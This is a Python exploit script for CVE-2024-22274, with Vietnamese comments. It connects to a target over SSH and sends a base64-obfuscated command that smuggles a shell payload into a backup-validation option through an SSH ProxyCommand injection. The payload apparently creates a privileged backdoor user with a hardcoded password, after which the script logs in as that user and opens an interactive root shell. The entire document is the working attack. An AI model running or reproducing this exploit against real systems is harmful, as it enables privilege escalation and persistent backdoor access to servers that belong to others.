import paramiko import base64 import time import pwinput print(f"[+] CVE-2024-22274 by Ninhpwn") time.sleep(0.3) print(f"[+] Không thích dùng getpass. pip install pwinput đi.") time.sleep(1) # Thông tin đăng nhập SSH host = input("[-] Nhập địa chỉ host: ") port = input("[-] Nhập địa chỉ port (mặc định là 22): ") or 22 username = input("[-] Nhập tên người dùng: ") password = pwinput.pwinput(prompt='[-] Nhập mật khẩu: ') encoded_command = 'YmFja3VwLnZhbGlkYXRlIC0tcGFydHMgY29tbW9uIC0tbG9jYXRpb25UeXBlIFNGVFAgLS1sb2NhdGlvbiBub3doZXJlIC0tbG9jYXRpb25Vc2VyICctbyBQcm94eUNvbW1hbmQ9Oy9iaW4vYmFzaCAtYyAie2VjaG8sZFhObGNtRmtaQ0JPYVc1b1VIZHVJQ1ltSUdWamFHOGdMV1VnSWs1cGJtaFFkMjR4TWpNalhHNU9hVzVvVUhkdU1USXpJeUlnZkNCd1lYTnpkMlFnVG1sdWFGQjNiaUE3SUhWelpYSnRiMlFnTFhNZ0wySnBiaTlpWVhOb0lFNXBibWhRZDI0Z0ppWWdkWE5sY20xdlpDQXRZVWNnYzNWa2J5Qk9hVzVvVUhkdUNnPT19fHtiYXNlNjQsLWR9fGJhc2giIDI+JyAtLWxvY2F0aW9uUGFzc3dvcmQK' # Tạo một đối tượng SSHClient từ Paramiko ssh_client = paramiko.SSHClient() try: # Tự động xác nhận các máy chủ không được xác thực trước đó ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) decoded_command = base64.b64decode(encoded_command).decode() # Kết nối tới máy chủ SSH ssh_client.connect(hostname=host, port=port, username=username, password=password) print(f"[+] Connected to {host} via SSH") # Mở một phiên tương tác shell ssh_shell = ssh_client.invoke_shell() # Gửi các lệnh tới shell commands = [ decoded_command, password, 'exit' ] for command in commands: ssh_shell.send(command + '\n') time.sleep(1) # Đợi một chút để nhận kết quả while ssh_shell.recv_ready(): output = ssh_shell.recv(1024).decode() print(f"[+] Sending exploit command to {host}....") time.sleep(1) # Đóng kết nối SSH ssh_client.close() print(f"[+] Created root user on {host}") time.sleep(1) except paramiko.AuthenticationException: print(f"Authentication failed when connecting to {host}") except paramiko.SSHException as ssh_ex: print(f"Unable to establish SSH connection to {host}: {ssh_ex}") except Exception as ex: print(f"Error: {ex}") username2 = 'NinhPwn' password2 = 'NinhPwn123#' bashshell = 'bash -p' try: # Tự động xác nhận các máy chủ không được xác thực trước đó ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) # Kết nối tới máy chủ SSH ssh_client.connect(hostname=host, port=port, username=username2, password=password2) print(f"[+] Connected root user {host} via SSH") # Mở một phiên tương tác shell ssh_shell = ssh_client.invoke_shell() # Gửi các lệnh tới shell commands = [ 'shell' ] for command in commands: ssh_shell.send(command + '\n') time.sleep(1) # Đợi một chút để nhận kết quả ssh_shell.send(password2 + '\n') time.sleep(1) # Đợi một chút để nhận kết quả while ssh_shell.recv_ready(): output = ssh_shell.recv(1024).decode() banner = ssh_shell.recv(65535).decode() print(banner) ssh_shell.send(bashshell + '\n') while True: command = input("[+] Root-shell# (type 'exit' to quit): ") # Kiểm tra điều kiện để thoát if command.lower() == 'exit': break # Gửi lệnh vào kênh shell ssh_shell.send(command + '\n') # Đợi một chút để lệnh được xử lý và lấy kết quả time.sleep(1) output = ssh_shell.recv(65535).decode() # In kết quả của lệnh print(output) # Đóng kết nối SSH ssh_client.close() except paramiko.AuthenticationException: print(f"Authentication failed when connecting to {host}") except paramiko.SSHException as ssh_ex: print(f"Unable to establish SSH connection to {host}: {ssh_ex}") except Exception as ex: print(f"Error: {ex}")